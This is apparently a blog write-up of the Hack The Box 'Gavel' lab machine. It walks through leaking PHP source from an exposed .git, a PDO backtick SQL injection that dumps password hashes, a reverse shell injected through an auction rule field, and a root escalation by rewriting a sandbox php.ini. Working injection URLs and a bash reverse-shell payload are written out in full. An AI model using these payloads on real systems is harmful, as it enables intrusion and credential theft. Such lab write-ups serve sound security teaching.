writeup 2025-12-08 · 16 min read

Hack The Box Gavel Writeup (Medium Linux)

Medium Linux box. An exposed .git leaks a PDO backtick SQL injection, an admin bid rule runs PHP for a shell, and a YAML sandbox rewrite SUIDs bash.

Hack The Box Gavel Writeup (Medium Linux)

Summary

Gavel runs an auction site on gavel.htb whose nmap scan flags an exposed .git directory, and GitTools dumps and extracts the full PHP source. Reading inventory.php shows the sort parameter dropped straight into a PDO query behind a backtick stripping filter, which matches a published PDO prepared statement injection technique, and the resulting SQL injection dumps the users table. The auctioneer hash cracks to midnight1 with hashcat and opens the admin panel, where an auction’s rule field is later evaluated by bid_handler.php, so setting it to a PHP reverse shell and bidding on that item returns a shell as www-data. The same midnight1 password su’s to the local auctioneer account, which belongs to the gavel-seller group and can run /usr/local/bin/gavel-util. That helper evaluates a YAML rule under a hardened php.ini in /opt/gavel but writes as root inside that directory, so overwriting the php.ini to drop disable_functions and resubmitting system(‘chmod +s /bin/bash’) gives a root shell.

Service Enumeration

I ran:

1
nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 10.129.27.172

And those are the results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Not shown: 65527 closed tcp ports (conn-refused)
PORT      STATE    SERVICE   REASON      VERSION
22/tcp    open     ssh       syn-ack     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1fde9d84bfa164be1f364fac3c521592 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
|   256 70a51a53dfd1d0733e9d90adc1aab419 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp    open     http      syn-ack     Apache httpd 2.4.52
|_http-title: Gavel Auction
| http-git: 
|   10.129.27.172:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: .. 
|_http-favicon: Unknown favicon MD5: 954223287BC6EB88C5DD3C79083B91E1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
<SNIP>

Web Server Enumeration

Tech stack:

  • PHP (unknown version)

  • Apache/2.4.52 (Ubuntu)

This is how the home page looks like:

gavel.htb home page advertising version 2.0 after a previous security incident

It mentions a previous security incident, and that now with version 2.0 they’re more secure than ever. There’s an interesting comment on the testimonials page from a user that is (allegedly) banned:

Testimonials page comment left by a user who says they were banned

They say:

“Site said ‘intelligent bidding system’, I still outsmarted it.”

Which is funny, and indicates the site’s probably still vulnerable.

Authenticated Manual Enumeration

The website allows me to create an account at http://gavel.htb/register.php. I create an account with the credentials:

1
2
Username: hacker
Password: hackerhacker

Logged in to gavel.htb with the newly registered hacker account

It allows me in and now I have access to the biddings. The website gives me 50k coins so I can place some bids:

Bidding page showing the 50k coin balance credited to the new account

The navigation bar also directs me to my inventory at http://gavel.htb/inventory.php, which is currently empty since I’ve never won biddings for any item.

It’s interesting because each item on the auction has a specific rule for bidding, for instance, the Goblet of Slight Insight says:

Message: Bid at least 10% more than the current price.

The website has no more visible endpoints from now. But what about the ones that are not listed?

VHost Enumeration

I perform a vhost subdomain scan with ffuf:

1
ffuf -u http://gavel.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.gavel.htb" -t 50 -fw 20

It tests for 110k different possible subdomains but doesn’t find anything.

Directory Enumeration

I also use ffuf to enumerate for directories:

1
ffuf -u http://gavel.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt -t 50 -e php

But nothing really interesting is going on.

Exposed Git Repository

The nmap scan from earlier indicates there’s an exposed GIT repository on the web server:

1
2
3
4
5
<SNIP>
| http-git: 
|   10.129.27.172:80/.git/
|     Git repository found!
<SNIP>

I create a “gitdump” folder:

1
mkdir gitdump

Then I use gitdumper.sh from GitTools to dump the git repository:

1
gitdumper.sh http://gavel.htb/.git/ gitdump

It starts collecting the repository:

gitdumper.sh pulling the exposed .git repository from gavel.htb

It took a while to finish. After it’s done, I use gitextractor.sh also from GitTools to extract the dump:

1
mkdir gitextract && gitextractor.sh gitdump gitextract/

Now I have access to what appears to be the source code of the website gavel.htb.

Source Code Analysis

I enter the first extracted directory from the git repo (0-ff27a161f2dd87a0c597ba5638e3457ac167c416) and start looking through the source code of the application.

Here’s a code snippet from “inventory.php”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/session.php';

if (!isset($_SESSION['user'])) {
    header('Location: index.php');
    exit;
}

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = $e;
}

At first glance, it seems secure. One thing I noticed what that the $col variable is being used directly in the query at:

1
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");

Which differs from the rest of the application’s code where everything is parameterized like on here for example:

1
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");

This second example is safe. The first one though, it looks like they’re using the variable directly in the query, which should raise concerns right away, specially when it’s direct user input. This is exactly the case here, the $col variable is:

1
$col = "`" . str_replace("`", "", $sortItem) . "`";

As you can see, the $col variable takes the value from $sortItem. The $sortItem variable is coming from direct user input (the HTTP GET parameter “sort”):

1
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';

It tries to perform user input sanitization by removing backticks (str_replace("”, “”, $sortItem)`), and including backticks at start and end of the string, which really made me think, is this actually secure? It’s so weird to me using a variable directly on the query, and this sanitization attempt does not look very throughoutly to me.

I did my due diligence and googled for resources related to this weird php backtick escape technique and found a somewhat recent article talking about a novel sql injection vulnerability:

Article describing a novel SQL injection technique in PDO prepared statements

The article provides us with php code snippets to exemplify the vulnerability, and I notice how it looks very much like our php code from this ctf:

PHP snippet from the article matching the backtick sanitisation used by inventory.php

More specifically:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');

$col = '`' . str_replace('`', '``', $_GET['col']) . '`';

$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
	echo join(' : ', $v) . PHP_EOL;
}

On the example code, it’s replacing single backticks for double backticks, which is not 100% identical to our case, but for the most part, it also applies. I test this theory out with many many payloads until I find a hit:

1
/inventory.php?user_id=x`+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y;--+-&sort=\?;--+-%00

Payload Comparison

Article’s payload:

1
2
col=\?%23%00       (that's \?#\0)
name=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23

Our payload:

1
2
sort=\?;--+-%00    (that's \?;-- \0)
user_id=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;--+-

They’re different because the underlying code is also different. The code showcased in the article is:

1
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';

Characteristics:

  • Doubles backticks (MySQL escaping)

  • Backticks are preserved but escaped

On the other hand, this is how our code looks like:

1
$col = "`" . str_replace("`", "", $sortItem) . "`";

Characteristics:

  • Completely removes backticks

  • This doesn’t affect the attack, but shows different sanitization approaches

Both payloads achieve the same goal through PDO’s parser:

1
2
\?;#\0      → PDO sees: \, ?, then # comments out \0` FROM...
\?;-- \0    → PDO sees: \, ?, then -- comments out \0` FROM...

In both cases:

  • The semicolon terminates the MySQL statement

  • The comment (# or --) hides the null byte and remaining SQL from PDO’s parser

  • PDO only sees one bound parameter (the injected ?)

So yeah, the proof of concept works:

1
http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+table_name+AS+`%27x`+from+information_schema.tables)y;--+-&sort=\?;--+-%00

And now I have sql injection on the machine:

inventory.php returning injected query output, confirming the SQL injection works

I list available databases with:

1
http://gavel.htb/inventory.php?sort=%5C%3F%3B--%20%00&user_id=x%60+FROM+(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x0a)+AS+%60%27x%60+FROM+information_schema.schemata)y%3B--+-

And it returns me 3 databases:

Injected query listing the three databases present on the server

Specifically:

  • information_schema (default)

  • performance_schema (default)

  • gavel (application database, interesting)

So now I dump the users table (no need to specify the database explicitly since the application already runs in the context of the “gavel” database.

1
http://gavel.htb/inventory.php?sort=%5C%3F%3B--%20%00&user_id=x%60+FROM+(SELECT+GROUP_CONCAT(CONCAT(username,0x3a,password)+SEPARATOR+0x0a)+AS+%60%27x%60+from+users)y%3B--+-

It returns me the hash for the “auctioneer” user:

Dumped users table showing the auctioneer password hash

I save it to “hash.txt” and use hashcat to crack it:

1
hashcat hashes.txt /usr/share/wordlists/rockyou.txt --force -m 3200

It cracks almost instantly:

hashcat cracking the auctioneer bcrypt hash to midnight1

With that, new credentials:

1
2
Username: auctioneer
Password: midnight1

Initial Access - Code Injection

I can log in to the web application as “auctioneer”, which has administrative permissions:

gavel.htb admin panel reached by logging in as auctioneer

This application has a severe code injection vulnerability that allows for server compromise.

Vulnerability Chain

If I take a look at admin.php, I see how this “edit rule” feature looks like:

1
2
3
4
// admin.php - stores user input directly
$rule = trim($_POST['rule'] ?? '');
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);

It’s basically storing anything I input in the “rule” field to the database, linked to that specific auction. I wonder how this is being used.

I look through the application till I find the code that’s using this user-defined rule in bid_handler.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// [SNIP]

// Gets auction from the database
$stmt = $pdo->prepare("SELECT * FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$auction = $stmt->fetch();

// [SNIP]

$rule = $auction['rule'];  // Admin-controlled (us) from database

// [SNIP]

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    // Creates a PHP function with arbitrary code
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    // Executes the injected code
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}

This looks really bad. To explore this vulnerability, I first start netcat listener on port 1337:

1
nc -lvnp 1337

Then I opened two browsers, one with access to the admin panel (auctioneer) and the other as normal user (hacker).

As admin: I selected a random item from the admin panel (in this case, “potion of eternal wakefulness” (this would apply to any item, this is just the one I used) to change the rule value to my PHP payload:

1
system('bash -c "bash -i >& /dev/tcp/10.10.14.57/1337 0>&1"'); return true;

The value for the “message” field can be anything. I save the changes.

As user: Navigate to http://gavel.htb/bidding.php and place a bid on the same item. In this case, “potion of eternal wakefulness” so it can trigger our malicious php code. You can see both tabs and the payload triggering process on the screenshot below:

Admin tab holding the PHP rule payload next to the user tab placing the bid

From the screenshot you can see how it says “Unexpected error”. That’s good for us, because looking at the netcat listener, I have a shell as “www-data”:

netcat listener receiving the reverse shell as www-data

Horizontal Privilege Escalation - auctioneer user

I perform the usual shell stabilization process using python3:

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@gavel:/var/www/html/gavel/includes$ python3 --version 
python3 --version                                                                    
Python 3.10.12                                                                       
www-data@gavel:/var/www/html/gavel/includes$ python3 -c 'import pty; pty.spawn("/bin/bash")'                                                                              
<es$ python3 -c 'import pty; pty.spawn("/bin/bash")'                                 
www-data@gavel:/var/www/html/gavel/includes$ export TERM=xterm                       
export TERM=xterm                                                                    
www-data@gavel:/var/www/html/gavel/includes$ ^Z                                      
[1]+  Stopped                 nc -lvnp 1337                                          
user@attackbox:~/hacking/htb/machines/medium/gavel$ stty raw -echo ;fg               
nc -lvnp 1337                                                                        
                                                                                   
www-data@gavel:/var/www/html/gavel/includes$

I notice there’s a user in system named “auctioneer”:

1
2
3
4
5
$ ls -la /home                            
total 12                                                                             
drwxr-xr-x  3 root       root       4096 Nov  5 12:46 .                              
drwxr-xr-x 19 root       root       4096 Nov  5 12:46 ..                             
drwxr-x---  2 auctioneer auctioneer 4096 Nov  5 12:46 auctioneer

I try logging in to auctioneer using the same password as before (midnight1) and it works. Now I’m auctioneer:

1
2
3
4
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer                           
Password:                                                                            
auctioneer@gavel:/var/www/html/gavel/includes$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

Vertical Privilege Escalation

You can see from the command box above that user auctioneer is member of another group called “gavel-seller”. I search the filesystem for files/directories owned by this group:

1
find / -group gavel-seller 2>/dev/null

It returns two files:

1
2
/run/gaveld.sock
/usr/local/bin/gavel-util

The gavel-util file is an elf executable:

1
2
$ file /usr/local/bin/gavel-util
/usr/local/bin/gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped

I run it without arguments, and it tells me usage instructions:

1
2
3
4
5
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice

I run “strings” against this application with strings /usr/local/bin/gavel-util and I see it mentions a full path to a directory or file (/var/run/gaveld):

strings output for gavel-util referencing thevar/run/gaveld path

It doesn’t exist:

1
2
$ ls -la /var/run/gaveld
ls: cannot access '/var/run/gaveld': No such file or directory

But I look for it anyways, and discover it’s actually located somewhere else in the system:

1
2
$ find / -name gaveld 2>/dev/null 
/opt/gavel/gaveld

I go to the directory and see there’s some files there:

1
2
3
4
5
6
7
8
auctioneer@gavel:/opt/gavel$ ls -la 
total 56
drwxr-xr-x 4 root root  4096 Nov  5 12:46 .
drwxr-xr-x 3 root root  4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root  4096 Nov  5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root  4096 Nov  5 12:46 submission

There’s a .config directory that ultimately leads to this php.ini file at .config/php/php.ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off

Interesting, it seems like they’re disabling a bunch of functions related to code execution like exec,shell_exec,system and many others. Not suspicious at all (haha).

The main folder has a “sample.yaml” file. If I remember from the execution instructions from earlier, it says I need to pass an yaml file for this submit function:

1
submit <file>           Submit new items (YAML format)

I look at this “sample.yaml” file:

1
2
3
4
5
6
7
8
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

Which, well, it looks like it’s the same exploit from before… The “rule” value specifies a python function that’ll be executed.

This time, however, our previous payload:

1
system('bash -c "bash -i >& /dev/tcp/10.10.14.57/1337 0>&1"'); return true;

Wouldn’t work right away since the “system” function is disabled in the php.ini file we discovered earlier:

1
disable_functions=exec,shell_exec,system,[...]

I try submitting this example yaml file but it errors out:

1
2
$ /usr/local/bin/gavel-util submit sample.yaml 
YAML missing required keys: name description image price rule_msg rule

I feel like the dashes at the top (---) is messing with the interpretation of the file. To make sure my shell doesn’t act weird when I’m editing files, I fix the tty size by having a terminal the same size and using:

1
2
$ stty size 
37 85

Then on the shell:

1
stty rows 37 cols 85

Crafting Exploit

Since I have no way currently to execute system commands, I try creating a file first to the filesystem and see if it works. I use:

1
2
3
4
5
6
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "pwned by bsec"
rule: "file_put_contents('/tmp/pwned.txt', 'test pwned');"

And save it to “pwned.yaml”. When I submit it, however, it says I can’t write outside a specific path (/opt/gavel):

1
2
3
4
5
$ /usr/local/bin/gavel-util submit pwned.yaml 
Illegal rule or sandbox violation.
Warning: file_put_contents(): open_basedir restriction in effect. File(/tmp/pwned.txt) is not within the allowed path(s): (/opt/gavel) in Command line code on line 1     
                                                                                   
Warning: file_put_contents(/tmp/pwned.txt): fail

So I edit my yaml to create the file to /opt/gavel instead. It works:

1
2
3
4
5
6
7
8
9
10
11
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit pwned.yaml 
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
auctioneer@gavel:~$ ls -la /opt/gavel/
total 60
drwxr-xr-x 4 root root  4096 Dec  8 22:09 .
drwxr-xr-x 3 root root  4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root  4096 Nov  5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root    10 Dec  8 22:09 pwned
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root  4096 Nov  5 12:46 submission

It created /opt/gavel/pwned as root, which is awesome for us. We’re one step closer to becoming root.

Since I can only write to this specific directory in /opt/gavel, I might aswell try to overwrite the current php.ini configuration that’s impeding me from executing arbitrary system commands.

I take the php.ini file as an example, replace all linebreaks for “\n”s and removed the part that prevents us from pwning the system:

1
2
3
4
5
6
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "pwned by bsec"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nopen_basedir=/opt/gavel\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10');"

Save it to “pwned.yaml” and submit using /usr/local/bin/gavel-util submit pwned.yaml:

gavel-util submit overwriting the sandbox php.ini with a trimmed config

As you can see from the screenshot above, I could successfully overwrite the php configuration for this project. Now I can create another yaml file this time to execute system commands:

1
2
3
4
5
6
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "pwned by bsec"
rule: "system('chmod +s /bin/bash');"

I save it to “pwn.yaml” and submit it using /usr/local/bin/gavel-util submit pwn.yaml:

gavel-util submit running system() to set the SUID bit onbin/bash

It’ll add the SUID bit to /bin/bash, allowing me to run /bin/bash -p to become root, successfully compromising the machine!

This post is licensed under CC BY 4.0 by the author.